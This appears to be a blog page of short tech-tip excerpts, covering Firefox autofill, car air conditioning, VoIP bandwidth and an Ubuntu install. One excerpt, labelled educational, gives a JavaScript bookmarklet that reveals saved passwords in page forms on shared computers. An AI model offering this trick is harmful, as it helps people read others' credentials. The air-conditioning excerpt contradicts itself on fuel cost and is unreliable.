netstat -an | grep -i listen

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Have you ever typ0 “typographical error” your login name in firefox, only to have it save the wrong entry as well as the correct one? How do you get rid of the wrong entry? You could clean up out all of your saved information, but why just for one mistake! Go to the form where the mistake is. Put your cursor in the text entry form and hit down until you highlight the incorrect entry. Now press shift + delete Sponsored Links:..... Read more

In the hot weather, air conditioning is a necessity, especially in a vehicle. However, it has become a common myth that running your vehicle’s air conditioning burns more fuel. Consumers have become more considerate of fuel efficiency, because of the high gas prices. Well, there’s no need to ride in a hot car for the sake of saving on gas. It’s been proven that running the air conditioning does not have a large effect on fuel efficiency for modern cars. Leaving the air conditioning off makes little difference, unless you have a sunroof. Even with the air conditioning off and the sunroof open, there won’t be a significant difference in gas mileage. Has the air conditioning myth been proven wrong? Modern cars make it okay to drive with the air conditioning on. The A/C compressor pulls power from the engine wasting some gas, the effect appears to be minimal in modern cars. The A/C can lower the fuel efficiency from 10 to 20 percent depending on the type (and age) of your vehicle. ..... Read more

You can determine how much voip bandwidth to set aside for voice traffic using simple math. However, in a converged voice and data network, you have to make decisions on how much voip bandwidth to give each service. These decisions are based on careful consideration of your priorities and the available voip bandwidth you can afford. If you allocate too little voip bandwidth for voice service, there might be unacceptable quality issues. Another consideration is that voice services are less tolerant to voip bandwidth depletion than that of Internet traffic. Therefore, voip bandwidth for voice services and associated signaling must take a priority over that of best-effort Internet traffic. If a network were to use the same prevailing encoding (CODEC) scheme as the current PSTN system, voip bandwidth requirements for Voip networks would tend to be larger than that of a circuit-switched voice network of similar capacity. The reason is the overhead in the protocols used to deliver the voice ..... Read more

Hacking Browser Saved Password This post is for educational purposes only i just want to show you not to practice saving your password on public computers such as internet cafe’s! STEP: 1) this looks familiar if you save your password on your friendster look at the image below2) copy and paste the javascript code in your browser “Navigation Toolbar”3) hit enter and the saved password will showcode:javascript:var a = new String(); for (var i = 0; i < document.forms.length; i++) { for (var j = 0; j < document.forms[i].elements.length; j++) { if (document.forms[i].elements[j].type == "password") { a += document.forms[i].elements[j].value; } } } alert(a);thanks to arn-arn for this script ..... Read more

HTML Tidy GUI Front-End for Ubuntu linux 1) sudo apt-get install tcl8.4 2) sudo apt-get install tk8.4 Download This File sudo ./install..... Read more